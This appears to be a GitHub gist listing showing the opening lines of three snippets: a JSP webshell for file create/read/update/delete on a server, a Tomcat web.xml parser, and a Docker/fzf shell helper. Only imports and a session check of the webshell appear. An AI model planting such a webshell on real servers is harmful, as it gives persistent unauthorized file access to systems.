Skip to content

Instantly share code, notes, and snippets.

@Guilhem7
Guilhem7 / file_explorer.jsp
Last active August 2, 2025 12:29
Simple jsp webshell code to use CRUD operations on file (compatible windows and linux, no command exec)
<%@ page language="java" pageEncoding="UTF-8"%>
<%@page import="java.util.*"%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.nio.file.Path" %>
<%@ page import="java.nio.file.Paths" %>
<%
Boolean isAuth = (session.getAttribute("auth") != null) ? (Boolean) session.getAttribute("auth") : false;
String action = request.getParameter("action");
@Guilhem7
Guilhem7 / parse_tomcat.py
Last active July 1, 2025 22:05
Parse a tomcat web.xml file in order to see which servlet is used for which urls, and which filter(s) are processed on it
#!/usr/bin/env python3
import re
import json
import logging
import argparse
import xml.etree.ElementTree as ET
from rich import print as rprint
from rich.logging import RichHandler
@Guilhem7
Guilhem7 / attach_docker.sh
Last active August 8, 2025 19:10
fzf bash binding to enter runnning container
### Functions to preview docker process
docker_preview_proc(){
AWK_SCRIPT='
BEGIN {
# ANSI color codes
red = "\033[91m"; # Bright Red
blue = "\033[94m"; # Light Blue
green = "\033[92m"; # Bright Green
yellow = "\033[93m"; # Light Yellow
bold = "\033[1m";